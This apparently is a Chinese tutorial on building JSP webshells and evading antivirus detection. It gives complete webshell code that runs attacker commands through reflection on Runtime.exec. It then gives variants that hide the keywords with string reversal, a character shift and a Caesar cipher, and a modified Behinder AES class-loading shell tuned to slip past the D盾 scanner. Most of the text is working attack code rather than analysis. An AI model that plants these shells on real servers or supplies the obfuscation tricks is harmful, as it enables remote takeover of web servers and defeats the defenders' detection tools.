原理 向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。
结构 实现三步
数据的传递
执行所传递的数据
回显
数据传递 1 String x = request.getParameter("x" )
执行所传递的数据 1 2 3 4 Class rt = Class .forName("java.lang.Runtime" ); Method gr = rt.getMethod("getRuntime" ); Method ex = rt.getMethod("exec" , String.class ); Process e = (Process) ex .invoke(gr .invoke(null), x);
回显 1 2 3 4 5 6 7 8 #in为执行返回结果 int a=-1 ;byte [] b = new byte [2048 ]; out.print ("<pre>" );while ((a=in.read (b))!=-1 ){ out.println (new String (b)); } out.print ("</pre>" );
免杀思路 jsp类型webshell数据传入、回显两个部分都是很正常的代码,一般程序中都会使用,不会触发检测规则。
所以需要重点关注杀毒软件对执行这个部分的检测
免杀 将以上三个部分拼接出来就是正常的通过类反射执行的回显webshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.lang.reflect.Method" %> <%String x = request.getParameter ("x" );if (x!=null){ Class rt = Class.forName("java.lang.Runtime" ); Method gr = rt.getMethod ("getRuntime" ); Method ex = rt.getMethod ("exec" , String .class); Process e = (Process ) ex.invoke (gr.invoke (null), x); java.io.InputStream in = e.getInputStream (); int a = -1 ; byte [] b = new byte [2048 ]; out.print ("<pre>" ); while ((a=in.read (b))!=-1 ){ out.println (new String (b)); } out.print ("</pre>" ); } %>
由于其仍然含有java.lang.Runtime、getRuntime、exec等关键字,仍然会被安全软件检测,我们的免杀主要也针对这几个关键字符串。
比如通过ascii、hex、base64等方式传入不含有这些特征的关键字,但是因为用的过多,目前也被列入已知后门,所以最好这里是自定义编码方式或转换方式,比如异或,移位,反转,栅栏等各种操作缝合的方式。
反转字符串 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.lang.reflect.Method" %> <%!public static String reverseStr(String str ){String reverse = "" ;int length = str .length();for (int i = 0 ; i < length; i++){reverse = str .charAt(i) + reverse ;}return reverse ;}%> <%String x = request.getParameter("x" );if (x!=null ){ Class rt = Class.forName(reverseStr("emitnuR.gnal.avaj" )); Method gr = rt.getMethod(reverseStr("emitnuRteg" )); Method ex = rt.getMethod(reverseStr("cexe" ), String .class); Process e = (Process) ex.invoke(gr.invoke(null ), x); java.io.InputStream in = e.getInputStream(); int a = -1 ; byte [] b = new byte [2048 ]; out.print ("<pre>" ); while ((a=in.read(b))!=-1 ){ out.println (new String (b)); } out.print ("</pre>" ); } %>
移位5位 1 2 3 4 5 6 7 8 9 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.lang.reflect.Method" %> <%!public static String eStr(String str ){String result = "" ;int length = str .length();for (int i = 0 ; i < length; i++){char z=str .charAt(i);z=(char )(z-5 );result=result+z;}return result;}%> <%if (request.getParameter("x" )!=null ){Class rt = Class.forName(eStr("of{f3qfsl3Wzsynrj" )); Process e = (Process) rt.getMethod(new String (eStr("j}jh" )), String .class).invoke(rt.getMethod(new String (eStr("ljyWzsynrj" ))).invoke(null , new Object []{}), request.getParameter("x" ) ); java.io.InputStream in = e.getInputStream();int a = -1 ;byte [] b = new byte [2048 ]; out.print ("<pre>" );while ((a=in.read(b))!=-1 ){out.println (new String (b));}out.print ("</pre>" );} %>
小写字母凯撒密码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.lang.reflect.Method" %> <%!public static String plusStr(String str){String plus = "" ;int length = str.length();for (int i = 0 ; i < length; i++){char z = str.charAt(i);if (z>='a' &&z<='w' ){z=(char )(z+3 );plus =plus +z;}else if (z>='x' &&z<='z' ){z=(char )(z-23 );plus =plus +z;}else {plus =plus +z;}}return plus ;} %> <% String x = request.getParameter("x" );if (x!=null ){ Class rt = Class .forName(plusStr("gxsx.ixkd.Rrkqfjb" )); Method gr = rt.getMethod(plusStr("dbqRrkqfjb" )); Method ex = rt.getMethod(plusStr("bubz" ), String.class ); Process e = (Process) ex.invoke(gr.invoke(null ), x); java.io.InputStream in = e.getInputStream(); int a = -1 ; byte [] b = new byte [2048 ]; out.print ("<pre>" ); while ((a=in.read (b))!=-1 ){ out.println (new String(b)); } out.print ("</pre>" ); } %>
冰蝎改造 冰蝎默认马:
1 2 3 4 5 6 7 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%!class U extends ClassLoader{U(ClassLoader c ) {super(c);} public Class g(byte [] b){return super.defineClass(b ,0,b .length ) ;}}%> <%if (request.getMethod() .equals("POST" )){String k="e45e329feb5d925b" ;session.putValue("u" ,k ) ; Cipher c=Cipher . getInstance("AES" ) ; c.init(2 ,new SecretKeySpec(k .getBytes () ,"AES" ));new U(this .getClass () .getClassLoader() ).g(c.do Final(new sun .misc .BASE64Decoder() .decodeBuffer(request .getReader () .readLine() ))).new Instance() .equals(pageContext);}%>
经过二分法,D盾查杀特征在最后这句
1 new U(this .getClass () .getClassLoader() ).g(c.do Final(new sun .misc .BASE64Decoder() .decodeBuffer(request .getReader () .readLine() ))).new Instance() .equals(pageContext);
参考了yzddmr6的方法,拆分或使用类似语句替换,所以使用Base64.getDecoder()替换原本特征,并把request.getReader().readLine()单独取出来,破坏D盾识别的特征。当然也可以拆分该语句的其他部分,破坏特征。
1 2 3 4 5 6 7 8 9 10 11 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%!class U extends ClassLoader{U(ClassLoader c ) {super(c);} public Class g(byte [] b){return super.defineClass(b ,0,b .length ) ;}}%> <%if (request.getMethod() .equals("POST" )){ String k="e45e329feb5d925b" ; session.putValue("u" ,k ) ; Cipher c=Cipher . getInstance("AES" ) ; c.init(2 ,new SecretKeySpec(k .getBytes () ,"AES" )); String input= request.getReader() .readLine() ;new U(this .getClass () .getClassLoader() ).g(c.do Final(Base64.getDecoder () .decode(input))).new Instance() .equals(pageContext); }%>
最终D盾对本文提到的多种webshell都是可以免杀的
参考文档 https://yzddmr6.tk/posts/webshell-bypass-jsp/